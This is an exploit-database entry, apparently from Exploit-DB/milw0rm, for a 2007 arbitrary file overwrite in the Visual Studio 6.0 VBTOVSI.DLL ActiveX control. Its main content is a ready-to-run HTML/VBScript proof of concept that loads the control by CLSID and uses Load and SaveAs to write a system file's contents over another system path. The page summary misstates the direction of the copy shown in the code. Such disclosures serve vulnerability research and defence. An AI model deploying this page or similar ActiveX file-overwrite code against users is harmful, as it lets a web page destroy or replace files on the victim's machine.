header-logo
Suggest Exploit
vendor:
Visual Studio 6.0
by:
shinnai
N/A
CVSS
N/A
Arbitrary File Overwrite
CWE
Product Name: Visual Studio 6.0
Affected Version From:
Affected Version To:
Patch Exists: NO
Related CWE:
CPE:
Metasploit:
Other Scripts:
Platforms Tested: Windows XP Professional SP2 with Internet Explorer 7
2007

Microsoft Visual Studio 6.0 VB To VSI Support Library (VBTOVSI.DLL v. 1.0.0.0) Arbitrary File Overwrite

Using the 'Load()' method in the VB To VSI Support Library, an attacker can load the content of a file from the local machine and then save it into an arbitrary location with the 'SaveAs()' method. This allows the attacker to overwrite well-known files with arbitrary data. The exploit code provided demonstrates overwriting the 'cmd.exe' file with a modified 'system_.ini' file.

Mitigation:

Source

Exploit-DB raw data:

<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol"><body bgcolor="#E0E0E0">---------------------------------------------------------------------------------------------------------
 <b>Microsoft Visual Studio 6.0 VB To VSI Support Library (VBTOVSI.DLL v. 1.0.0.0) Arbitrary File Overwrite</b>
 url: http://www.microsoft.com

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 This was written for educational purpose. Use it at your own risk.
 Author will be not responsible for any damage.
 
 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7

 <b>Description:
 Using the "Load()" method we can load the content of a file from local machine passed as argument to
 this function and then save it into arbitrary location with the "SaveAs()" method.
 This allow to overwrite well known files with arbitrary data. I try to pass to the "Load()" method
 remote directories (http) but, unfortunately, it accepts only local directories.</b>
---------------------------------------------------------------------------------------------------------

<object classid='clsid:7EEA39E3-41D1-11D2-AB3B-00AA00BDD685' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language = 'vbscript'>
 Sub tryMe()
  test.Load "c:\windows\system32\cmd.exe" 'or just some existing file
  test.SaveAs "c:\windows\system_.ini"
  MsgBox "Exploit completed!"
 End Sub
</script>
</span></span>

</code></pre>

# milw0rm.com [2007-09-11]